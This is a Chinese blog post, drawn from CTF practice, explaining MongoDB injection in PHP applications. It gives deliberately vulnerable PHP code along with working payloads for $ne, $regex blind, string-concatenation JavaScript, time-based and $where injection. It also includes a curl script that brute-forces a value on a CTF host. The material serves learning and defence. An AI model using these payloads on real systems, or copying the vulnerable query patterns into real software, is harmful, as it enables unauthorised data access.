Xi4or0uji's blog

MongoDB注入

字数统计: 1.6k阅读时长: 7 min
2019/02/27 Share

之前做比赛题经常会遇到mongodb注入,每次都一知半解一脸懵逼,总结一下

MongoDB概括

记下增删改查(php5)

直接调用类方法
1
2
3
4
5
6
7
$mongodb = new mongoclient();  //建立连接
$db = $mongodb->myinfo; //选择数据库
$coll = $db->test; //选择集合
$coll->save(); //增
$coll->find(); //查
$coll->remove(); //减
$coll->update(); //改
execute方法
1
2
3
4
5
6
7
$monggdb = new mongoclient();  //建立连接
$db = $monggdb->myinfo; //选择数据库
$query = "db.table.save({'newsid':1})"; //增
$query = "db.table.find({'newsid':1})"; //查
$query = "db.table.remove({'newsid':1})"; //删
$query = "db.table.update({'newsid':1},{'newsid',2})"; //改
$result = $db->execute($query); //执行

在php7中的利用会很麻烦,很多函数都不一样了,还有很多坑,所以还是建议php5写
php7

1
2
3
$mongo = new MongoDB\Driver\Manager();
$result = $mongo->executeQuery('db.collection', new MongoDB\Driver\Query(['uid'=>$id], []), new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_PRIMARY_PREFERRED));
// 返回的$result是一个对象,需要手动转换成数组。

攻击

基本操作

在学习注入之前,先要学一下MongoDB的逻辑操作符

1
2
3
4
5
6
7
8
9
10
gt 大于 {"field": {$gt: value}}
lt 小于 {"field": {$lt: value}}
gte 大于等于 {"field": {$gte: value}}
lte 小于等于 {"filed": {$lte: value}}
ne 不等于 {"member.age": {$ne: "nine"}}
exists 是否存在 {"array.0" {$exists: 1}} #数组中是否存在第一条数据
or 或者 {"$or": [{"member.age": "3"},{"member.name": "h4ck3r"}]}
and 并且 {"$and": [{"member.age": "3"},{"member.name": "h4ck3r"}]}
regex 正则 ({"name": {"$regex": "^a$"}})
size 个数 ({"name": {"$size": 3}}) #$size name元素个数为3

数组绑定时注入
$ne注入

先去扒一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$mongo = new mongoclient("mongodb://127.0.0.1");
$db = $mongo->myinfo; //选择数据库
$coll = $db->test; //选择集合
$username = $_GET['username'];
$password = $_GET['password'];
$data = array(
'username'=>$username,
'password'=>$password
);
$data = $coll->find($data);
$count = $data->count();
if ($count>0) {
foreach ($data as $user) {
echo 'username:'.$user['username']."</br>";
echo 'password:'.$user['password']."</br>";
}
}
else{
echo '未找到';
}
?>

可以看到,这个脚本会将输入的username和password扔去数据库找,如果有,就全部显示出来
正常我们查询是

1
username=xiaorouji&password=123456

这个时候后台的查询语句是

1
db.test.find({username:'xiaorouji',password:'123456'})

但是,如果我们输入的语句是

1
username[$ne]=xiaorouji&password[$ne]=123456

这样子,后台语句就会变成

1
db.test.find({username:{'$ne':'xiaorouji'},password:{'$ne':'123456'}})

这样就能获得后台除了xiaorouji这个账号的其他全部账号的信息了

$regex注入

正则注入跟布尔盲注差不多,也是当页面只返回true或者false的时候,让他去一个个匹配,最终拿到值
给一题hctf的题目,后台大致代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$mongo = new mongoclient();
$db = $mongo->myinfo; //选择数据库
$coll = $db->test; //选择集合
$lock = $_POST['lock'];
$key = $_POST['key'];
if (is_array($lock)) {
$data = array(
'lock'=>$lock);
$data = $coll->find($data);
if ($data->count()>0) {
echo 'the lock is right,but wrong key';
}else{
echo 'lock is wrong';
}
}else{
if ($lock == 'xxxxxxxx'&&$key=='xxxxxxxxx') {
echo 'Your flag is xxxxxxx';
}else{
echo 'lock is wrong';
}
}
?>

可以看到只有正确和错误的两种回显,payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php 
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,'http://121.40.86.166:23339/');
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_POST,1);
$ori = '0123456789abcdefghijklmnopqrstuvwxyz';
$str = '';
for ($i=0; $i <10 ; $i++) {
for ($j=0; $j <strlen($ori) ; $j++) {
$post = 'key=1&lock[$regex]=^'.$str.$ori[$j];
curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
$data=curl_exec($ch);
if (strlen($data) == 319) {
$str.=$ori[$j];
echo $str."\r\n";
break;
}
}
}
?>

在数据库中的执行语句是

1
db.test.find({lock:{'$regex':'^a'}});

拼接字符串注入

这种注入跟sql里面最基本的回显注入类似,举个栗子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$username = $_GET['username'];
$password = $_GET['password'];
$query = "var data = db.test.findOne({username:'$username',password:'$password'});return data;";
//$query = "return db.test.findOne();";
//echo $query;
$mongo = new mongoclient();
$db = $mongo->myinfo;
$data = $db->execute($query);
if ($data['ok'] == 1) {
if ($data['retval']!=NULL) {
echo 'username:'.$data['retval']['username']."</br>";
echo 'password:'.$data['retval']['password']."</br>";
}else{
echo '未找到';
}
}else{
echo $data['errmsg'];
}
?>

首先我们先尝试一下

1
username=123'&password=123

这样我们首先会收到报错,因为单引号没有闭合,接下来尝试一个闭合语句
这里有个坑点就是高版本的MongoDB好像不支持注释符,所以直接拿注释符注释后面实际上是不行的

1
username=test'});return ({username:1,password:2});var foo = ({'foo':'&password=123

这样子后台还是可以返回一个数据,也就刚好能绕过前面的限制,获得特定的信息
爆mongodb版本

1
username=test'});return ({username:version(),password:2});var foo = ({'foo':'

爆当前数据库

1
username=test'}); return ({username:toJson(db),password:2});var foo = ({'foo':'

爆所有表

1
username=test'}); return ({username:toJson(db.getCollectionNames()),password:2}); var foo = ({'1&password=123

查看文档
db.collection.find()这个函数在无参的时候会返回集合中的所有文档以及里面的所有字段

1
2
3
username=test'}); return ({username:toJson(db.test.find()),password:2}); ({foo:'123&password=123
#查看单条信息
username=test'}); return ({username:toJson(db.test.find()[1]),password:2}); ({foo:'123&password=123

当然这中间还可以有更多的语句操作,不一一列举了

时间盲注

跟sql的时间盲注原理相似,放个payload

1
username=test'}); if (db.version()>"0"){sleep(10000);exit;} var b=({a:'1&password=123

这样就能成功延时了

$where注入

MongoDB里面的$where跟sql的where很相似,都是加入限制条件进行查询。但是MongoDB里面的$where操作符常常会引入一个js函数作为 限制条件来造成注入
后台代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$mongo = new mongoclient();
$db = $mongo->myinfo; //选择数据库
$coll = $db->news; //选择集合
$news = $_GET['news'];
$function = "function() {if(this.news == '$news') return true}";
echo $function;
$result = $coll->find(array('$where'=>$function));
if ($result->count()>0) {
echo '该新闻存在';
}else{
echo '该新闻不存在';
}
?>

上面这个代码如果我们输入news=test'%26%26'1'='1会返回正常页面,然后输入news=test'%26%26'1'='2会返回异常页面,那么我们就可以尝试一下进行注入了
爆数据表名

1
news=test'%26%26db.getCollectionNames()[0][0]=='m'%26%26'1'=='1

CATALOG
  1. 1. MongoDB概括
    1. 1.1. 直接调用类方法
    2. 1.2. execute方法
  2. 2. 攻击
    1. 2.1. 基本操作
    2. 2.2. 数组绑定时注入
      1. 2.2.1. $ne注入
      2. 2.2.2. $regex注入
    3. 2.3. 拼接字符串注入
    4. 2.4. 时间盲注
    5. 2.5. $where注入